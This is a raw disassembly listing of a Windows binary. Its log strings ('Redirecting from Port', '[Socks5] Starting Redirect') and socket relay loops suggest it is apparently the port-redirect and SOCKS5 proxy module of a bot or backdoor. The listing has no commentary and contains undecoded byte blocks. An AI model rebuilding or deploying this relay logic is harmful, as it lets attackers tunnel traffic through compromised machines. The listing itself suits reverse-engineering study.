var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 2841E5Ch
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; Ï
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0CEh	; Î
		db  54h	; T
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  5Ch	; \
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0F1h	; ñ
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db  4Ah	; J
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		call	near ptr 2841E5Ch
		nop
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473D0h, 3365E851h
		dd 83907781h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
